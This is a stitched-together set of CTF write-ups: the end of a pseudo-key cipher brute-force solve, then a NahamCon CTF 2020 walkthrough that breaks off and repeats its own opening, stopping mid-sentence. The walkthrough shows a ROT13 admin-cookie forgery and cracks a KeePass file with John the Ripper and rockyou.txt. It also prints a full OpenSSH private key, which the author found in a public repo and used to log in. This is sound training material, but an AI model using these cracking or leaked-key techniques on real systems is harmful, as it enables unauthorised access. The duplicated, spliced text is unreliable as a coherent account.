Now, I'm not sure what other people had for their approach, but I straight-upiterated through all possible combinations of this key. There are 2^11 (2048)key possibilities. I wrote a script to do this for me and decrypt the flag aswell. So, this will basically output 2048 different flag options. This is hardersince I don't have the "flag{}" wrapper here to help me, but oh well. **Script:**```def get_plain(ct, key): plain = '' key = ''.join(key[i % len(key)] for i in range(len(ct))) for i in range(len(ct)): if ct[i] == '_': plain += ct[i] continue c = ord(ct[i]) - 97 k = ord(key[i]) - 97 if c > k: plain += chr(c-k+97) elif c < k: plain += chr(26-k+c+97) else: plain += chr(c+97) return plain psuedo_key = "iigesssaemk"ct = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut" i = ['e', 'r']g = ['d', 'q']e = ['c', 'p']s = ['j', 'w']a = ['a', 'n']m = ['g', 't']k = ['f', 's']possible_keys = [] for ii in i: for ii2 in i: for gg in g: for ee in e: for ss in s: for ss2 in s: for ss3 in s: for aa in a: for ee2 in e: for mm in m: for kk in k: test = ii + ii2 + gg + ee + ss + ss2 + ss3 + aa + ee2 + mm + kk possible_keys.append(test) for key in possible_keys: plain = get_plain(ct, key) print(plain)``` Probably a more efficient way of doing what I did, butttttt oh well. **Output: (count)**```$ python3 solve.py > output && wc -l output2048 output``` Scrolling through the 2048 options, I could kind of tell what some of these wordswere going to be. I did a search on a pair of words to narrow down the options.```$ cat output | grep "i_guess"i_guess_pfeudo_keyf_nre_pseudb_fecurei_guess_pfrudo_keyf_nee_pseudb_frcurei_guess_pseudo_keyf_tre_pseudb_securei_guess_psrudo_keyf_tee_pseudb_srcurei_guess_cfeudo_keyf_nre_pseudb_fecurei_guess_cfrudo_keyf_nee_pseudb_frcurei_guess_cseudo_keyf_tre_pseudb_securei_guess_csrudo_keyf_tee_pseudb_srcurei_guess_pfeudo_keys_nre_pseudo_fecurei_guess_pfrudo_keys_nee_pseudo_frcurei_guess_pseudo_keys_tre_pseudo_securei_guess_psrudo_keys_tee_pseudo_srcurei_guess_cfeudo_keys_nre_pseudo_fecurei_guess_cfrudo_keys_nee_pseudo_frcurei_guess_cseudo_keys_tre_pseudo_securei_guess_csrudo_keys_tee_pseudo_srcurei_guess_pfeuqo_keyf_nre_pseudb_fechrei_guess_pfruqo_keyf_nee_pseudb_frchrei_guess_pseuqo_keyf_tre_pseudb_sechrei_guess_psruqo_keyf_tee_pseudb_srchrei_guess_cfeuqo_keyf_nre_pseudb_fechrei_guess_cfruqo_keyf_nee_pseudb_frchrei_guess_cseuqo_keyf_tre_pseudb_sechrei_guess_csruqo_keyf_tee_pseudb_srchrei_guess_pfeuqo_keys_nre_pseudo_fechrei_guess_pfruqo_keys_nee_pseudo_frchrei_guess_pseuqo_keys_tre_pseudo_sechrei_guess_psruqo_keys_tee_pseudo_srchrei_guess_cfeuqo_keys_nre_pseudo_fechrei_guess_cfruqo_keys_nee_pseudo_frchrei_guess_cseuqo_keys_tre_pseudo_sechrei_guess_csruqo_keys_tee_pseudo_srchre``` I'm guessing my script had a tiny error with the "are" part of the flag, but itworked. ## Flagflag{i_guess_pseudo_keys_are_pseudo_secure}
# **NahamCon CTF 2020** This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: 